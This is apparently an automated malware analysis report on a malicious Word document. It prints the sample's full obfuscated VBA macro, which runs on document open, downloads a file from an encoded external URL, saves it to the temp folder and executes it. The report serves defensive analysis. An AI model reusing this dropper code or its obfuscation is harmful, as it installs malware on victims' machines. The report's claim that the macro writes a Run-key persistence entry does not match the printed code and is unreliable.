Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6704a81c7f6c20f2…

MALICIOUS

Office (OLE)

37.0 KB Created: 2017-10-17 01:08:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 4471c87d634638d327c9860128a8e7a0 SHA-1: 2d7613bbeb2b83f67e2edef84b5040528c04c1d0 SHA-256: 6704a81c7f6c20f2d528ddb8255e454f65aa2570c2d8d3b5e29af5e869ed5fb2
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The Document_Open macro utilizes CreateObject to download a file from the embedded URL and save it to disk, likely executing it afterwards. The macro also attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6988714-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6988714-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    JPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZ = GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set PJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZIRCLIDSXXWYRORH = CreateObject("scripting.filesystemobject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6074 bytes
SHA-256: 093411c505f0d34db38145a759e9c002752b3061a95520c6ae00796eff3a5aab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim MZFLYJYKTGTYVFWIZFIGMUCGHLWUJKBENRMCZZYCTXBJWWEYBWJXNMDWHDXFKCBUUIMSHQGSCHCBXGFQI As Integer
MZFLYJYKTGTYVFWIZFIGMUCGHLWUJKBENRMCZZYCTXBJWWEYBWJXNMDWHDXFKCBUUIMSHQGSCHCBXGFQI = 1
Dim PJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZIRCLIDSXXWYRORH
Set PJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZIRCLIDSXXWYRORH = CreateObject("scripting.filesystemobject")
    Set GGOPRNZHDVMNXMOVBLRLESDDQHQJLXLQNWVHREZXEMTFYDPMBCSCFJETXYXZLPSIOOVXZVIPLEUVGUWECTZM = PJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZIRCLIDSXXWYRORH.GetSpecialFolder(2)
Dim GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG
Set GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG = CreateObject("microsoft.xmlhttp")
Dim GEPBNJHNVDNHMXVKLBLOSNDHHHJUXCQXWFHIEQXUMEFPDFMKCJVVJNTIRHTCPCIFOGRJORPVELOPUGESTJMWMHWUUUWP
Dim GGZSGRXFVFXZMHFCLKVGSVTZBITTYEBPXHQBXSIMNMOHEHWDDKMOKWEZSJKUJLSWIOIBOZZNENGIUINKTSEOBWUBJQ
Set GGZSGRXFVFXZMHFCLKVGSVTZBITTYEBPXHQBXSIMNMOHEHWDDKMOKWEZSJKUJLSWIOIBOZZNENGIUINKTSEOBWUBJQ = CreateObject("Shell.Application")

GEPBNJHNVDNHMXVKLBLOSNDHHHJUXCQXWFHIEQXUMEFPDFMKCJVVJNTIRHTCPCIFOGRJORPVELOPUGESTJMWMHWUUUWP = GGOPRNZHDVMNXMOVBLRLESDDQHQJLXLQNWVHREZXEMTFYDPMBCSCFJETXYXZLPSIOOVXZVIPLEUVGUWECTZM + OKFMRJICCPTBOYOZJPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPI("hN\Wa\X^c:q„q")
GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG.Open "GET", OKFMRJICCPTBOYOZJPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPI("t€€|F;;s~qqzr{{p: m:o{y;r�p;ƒqn :q„q"), False
GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG.send
JPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZ = GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG.responseBody
If GQDGEKLSEEJOLZIRCLIDSXXWYRORHNNVWYUHOKDTUFTVDISYSLZKKXOXQSFSXUEDOYLHFLTBMGKWTIJZKMQLBGG.Status = 200 Then
Set DNCELJBHTTHMSGQGRBNBGDMEPHMPNTCJNOSFCQRILUYTJHHGJBFIQEELHIEQFUTKEOKFMRJICCPTBOYOZJ = CreateObject("adodb.stream")
DNCELJBHTTHMSGQGRBNBGDMEPHMPNTCJNOSFCQRILUYTJHHGJBFIQEELHIEQFUTKEOKFMRJICCPTBOYOZJ.Open
DNCELJBHTTHMSGQGRBNBGDMEPHMPNTCJNOSFCQRILUYTJHHGJBFIQEELHIEQFUTKEOKFMRJICCPTBOYOZJ.Type = MZFLYJYKTGTYVFWIZFIGMUCGHLWUJKBENRMCZZYCTXBJWWEYBWJXNMDWHDXFKCBUUIMSHQGSCHCBXGFQI
DNCELJBHTTHMSGQGRBNBGDMEPHMPNTCJNOSFCQRILUYTJHHGJBFIQEELHIEQFUTKEOKFMRJICCPTBOYOZJ.Write JPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPIKWRPNVUGQDGEKLSEEJOLZ
DNCELJBHTTHMSGQGRBNBGDMEPHMPNTCJNOSFCQRILUYTJHHGJBFIQEELHIEQFUTKEOKFMRJICCPTBOYOZJ.SaveToFile GEPBNJHNVDNHMXVKLBLOSNDHHHJUXCQXWFHIEQXUMEFPDFMKCJVVJNTIRHTCPCIFOGRJORPVELOPUGESTJMWMHWUUUWP, MZFLYJYKTGTYVFWIZFIGMUCGHLWUJKBENRMCZZYCTXBJWWEYBWJXNMDWHDXFKCBUUIMSHQGSCHCBXGFQI + MZFLYJYKTGTYVFWIZFIGMUCGHLWUJKBENRMCZZYCTXBJWWEYBWJXNMDWHDXFKCBUUIMSHQGSCHCBXGFQI
DNCELJBHTTHMSGQGRBNBGDMEPHMPNTCJNOSFCQRILUYTJHHGJBFIQEELHIEQFUTKEOKFMRJICCPTBOYOZJ.Close
End If
GGZSGRXFVFXZMHFCLKVGSVTZBITTYEBPXHQBXSIMNMOHEHWDDKMOKWEZSJKUJLSWIOIBOZZNENGIUINKTSEOBWUBJQ.Open (GEPBNJHNVDNHMXVKLBLOSNDHHHJUXCQXWFHIEQXUMEFPDFMKCJVVJNTIRHTCPCIFOGRJORPVELOPUGESTJMWMHWUUUWP)


End Sub

    Function OKFMRJICCPTBOYOZJPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPI(ByVal QWEUDVXLFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIP As String)
    Dim ZTYKHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUW As Integer
    ZTYKHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUW = 1
            Dim SVERRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRFQWEUDVX As String
Dim LFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIPZTY As String
Dim RRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRF As Integer
Dim KHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUWPSVE As Integer
KHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUWPSVE = 12
        For RRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRF = ZTYKHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUW To Len(QWEUDVXLFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIP)
            SVERRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRFQWEUDVX = Mid(QWEUDVXLFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIP, RRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRF, ZTYKHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUW)
            SVERRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRFQWEUDVX = Chr(Asc(SVERRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRFQWEUDVX) - KHWWNXZEYOTTSVHKODJJRTUQDKHYPQBPRYWOUIIVZGTETFOCOURZRDUBECHPXBCGSPEFVYIMHWUUUWPSVE)
            LFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIPZTY = LFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIPZTY & SVERRZUVRESIHXSDXSZFWWQQEIOCMCNWDWVSCZLDJLKPXYJKOBRGNEHQUPFDDCFXTXMZSBDEZMBQIGBKGBINFFXRFQWEUDVX
        Next
        OKFMRJICCPTBOYOZJPJIFNMXPUXVCKLVWBMDRZQTDHCRPPORJGJYMFNOQMYNDUSMWSNUZQQKERCIPGPI = LFEBKITFQTRXZHRSWCYOVFPYVQHLLKNGCGUBBJLMIUCYQHISHJQVGMGZNYXMDLEGTGMJSQCNYVTYIPZTY
    End Function

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.